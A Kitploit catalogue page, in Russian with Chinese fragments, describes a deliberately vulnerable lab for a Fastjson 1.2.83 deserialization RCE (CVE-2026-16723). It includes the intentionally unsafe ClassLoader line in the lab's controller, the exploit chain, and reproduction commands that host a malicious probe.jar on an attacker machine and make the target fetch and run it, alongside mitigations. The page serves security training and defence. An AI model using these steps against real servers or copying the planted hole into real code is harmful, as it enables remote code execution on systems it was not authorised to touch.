Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
fastjson-rce-lab — Fastjson 1.2.83 RCE-полигон (CVE-2026-16723) | Kitploit
Инструменты/GitHubGitHub/why-success/fastjson-rce-lab
Анализ уязвимостейЭксплуатация веб-приложенийCTFОбучение и ОбразованиеЛаборатории и Практика
GitHubwhy-success/fastjson-rce-lab

fastjson-rce-lab

Fastjson 1.2.83 RCE-полигон (CVE-2026-16723)

Репозиторий
324 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Лабораторная среда Fastjson 1.2.83 RCE (CVE-2026-16723)

Отказ от ответственности: данная лабораторная среда предназначена только для исследований в области безопасности, учебных демонстраций и построения защиты в авторизованных средах. Самовольное тестирование неавторизованных целей может быть незаконным; ответственность за последствия использования несёт сам пользователь.

Обзор уязвимости

ПунктСодержание
CVECVE-2026-16723 (CVSS 9.0)
Затронутые версииFastjson 1.2.68 ~ 1.2.83
Тип уязвимостиУдалённое выполнение кода при десериализации (RCE)
Ключевая особенностьGadget-free (не зависит от сторонних библиотек)
Условия полного RCEJDK 8 + Spring Boot Fat-JAR + выключенный SafeMode

Описание лабораторной среды

  • Fastjson 1.2.83

    • SafeMode выключен (состояние по умолчанию)
  • Упаковка Spring Boot fat-JAR (содержит LaunchedURLClassLoader — обязательный компонент цепочки эксплуатации)

  • Ключевая исправленная строка: перед вызовом JSON.parse() в ParseController ClassLoader потока переключается на LaunchedURLClassLoader (Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader())) — это необходимое условие для того, чтобы путь детектирования @JSONType мог удалённо загружать классы

  • Предоставляются две конечные точки парсинга: /parse (JSON.parse) и /parseObject (JSON.parseObject)

Требования к окружению

  • JDK 8 (для полного RCE обязателен JDK 8; на JDK 9+ возможен только SSRF, полный RCE невозможен)
  • Операционная система: Windows / Linux / UOS / macOS
  • Память: минимум 256 МБ свободной

Сборка

Сборка fat-JAR из исходников (требуются JDK 8 + Maven):

root@kitploit:~
git clone https://github.com/why-success/fastjson-rce-lab.git
cd fastjson-rce-lab
mvn clean package -DskipTests

Артефакт сборки находится в target/fastjson-rce-lab.jar.

Если Maven не установлен, можно использовать Maven Wrapper из проекта (необходимо заранее настроить mvnw).

Быстрый запуск

Windows

root@kitploit:~
# 双击 start.bat
# 或命令行
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target\fastjson-rce-lab.jar --server.port=18080

Linux

root@kitploit:~
chmod +x start.sh
./start.sh

# 或手动启动
ulimit -n 65536
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target/fastjson-rce-lab.jar --server.port=18080

О параметре --server.port=18080: в окружении могут присутствовать переменные среды (например, SERVER__PORT), переопределяющие настройку порта в application.properties; принудительное указание порта через аргумент командной строки гарантирует его корректность (аргументы командной строки имеют наивысший приоритет).

О параметрах JVM: -Xmx256m -XX:+UseSerialGC используются для нормальной работы на виртуальных машинах с малым объёмом памяти (например, Kali с 2–4 ГБ), чтобы избежать OOM при инициализации JVM. Если памяти на машине достаточно, их можно убрать.

Проверка запуска

root@kitploit:~
curl http://127.0.0.1:18080/status

Ожидаемый ответ:

root@kitploit:~
{
  "fastjsonVersion": "1.2.83",
  "safeMode": false,
  "autoTypeSupport": false,
  "vulnerable": true,
  "javaVersion": "1.8.0_xxx"
}

safeMode: false и vulnerable: true означают уязвимое состояние.

Описание конечных точек

Принцип уязвимости

root@kitploit:~
1. 攻击者发送特制 JSON(@type 指向 jar:http 资源路径)
2. Fastjson checkAutoType() 将 typeName 转为资源路径 "typeName.replace('.', '/') + .class" 做探测
3. getResourceAsStream() 触发 LaunchedURLClassLoader → 发起 HTTP 请求拉取远程 JAR
4. ASM 扫描字节码,发现 @JSONType 注解 → 视为信任信号
5. 跳过危险基类检查 → loadClass() → defineClass()
6. 触发 <clinit> 静态初始化块 → RCE

Ключевой код в лаборатории

root@kitploit:~
// ParseController.java — /parse 端点
@PostMapping("/parse")
public Map<String, Object> parse(@RequestBody String body) {
    // ⚠️ 这一行是关键:切换到 LaunchedURLClassLoader
    Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader());
    Object obj = JSON.parse(body);
    // ...
}

Без этой строки setContextClassLoader Fastjson использует системный AppClassLoader по умолчанию и не сможет загружать удалённые классы через протокол jar:http://.

Воспроизведение эксплуатации

Шаг 1: получение PoC-инструмента

root@kitploit:~
git clone https://github.com/0x7eTeam/fastjson-1.2.83-rce.git
cd fastjson-1.2.83-rce

Шаг 2: изменение GenProbe.java (критически важно)

В поставляемом в репозитории poc/GenProbe.java исправлены две проблемы совместимости:

  1. Жёстко закодированный /bin/bash -c → заменён на универсальную версию Runtime.exec(String) (работает и на Windows, и на Linux)
  2. Формат команд для разных платформ: в лаборатории на Windows используйте "cmd /c xxx", в лаборатории на Linux — "touch /tmp/pwned" или "bash -c xxx"

Шаг 3: генерация probe.jar и его размещение

Полное описание атаки см. в 靶场测试完整指南.md (в том же каталоге), включая:

  • Полный процесс атаки из семи шагов
  • Шпаргалку по командам для каждой платформы
  • 6 распространённых ошибок и методы их устранения

Быстрая проверка (пример лаборатории на Windows)

root@kitploit:~
# 在攻击机(或能编译 Java 的机器)上
cd fastjson-1.2.83-rce
javac -encoding UTF-8 -cp "poc/lib/*" -d poc/classes poc/GenProbe.java
java -cp "poc/classes;poc/lib/asm-9.6.jar;poc/lib/fastjson-1.2.83.jar" GenProbe KALI_IP 19090 "cmd /c calc"

# 将 poc/www/probe 拷到 Kali
# Kali 上启动 HTTP 托管
cd poc/www && python3 -m http.server 19090

# 重启靶场 → Kali 新终端打 exp
python3 poc/exp.py -u http://靶场IP:18080/parse -poc http://KALI_IP:19090/probe

Способы устранения

Срочное устранение: включение SafeMode

root@kitploit:~
# JVM 启动参数
-Dfastjson.parser.safeMode=true
root@kitploit:~
// 代码配置
ParserConfig.getGlobalInstance().setSafeMode(true);

Долгосрочное устранение: переход на Fastjson 2.x

root@kitploit:~
<dependency>
    <groupId>com.alibaba.fastjson2</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.x</version>
</dependency>

Fastjson2 не подвержен этой уязвимости.

Прочие меры

  • Используйте сборочную версию com.alibaba:fastjson:1.2.83_noneautotype
  • Блокируйте исходящий HTTP-трафик сервера приложений
  • Выявите все экземпляры использования зависимостей Fastjson 1.x

Технические ссылки

  • Раскрытие: Kirill Firsov (@k_firsov) — https://x.com/k_firsov/status/2078872293745570032
  • PoC-проект: https://github.com/0x7eTeam/fastjson-1.2.83-rce
  • Бюллетень безопасности Alibaba (2026-07-21)
  • Уведомление о безопасности Tencent Cloud (2026-07-20)
Скачать инструмент
МетодПутьОписание
GET/Главная страница лаборатории (HTML)
GET/statusСостояние конфигурации Fastjson (JSON)
POST/parseJSON.parse(body) — основная конечная точка срабатывания уязвимости
POST/parseObjectJSON.parseObject(body) — запасная конечная точка срабатывания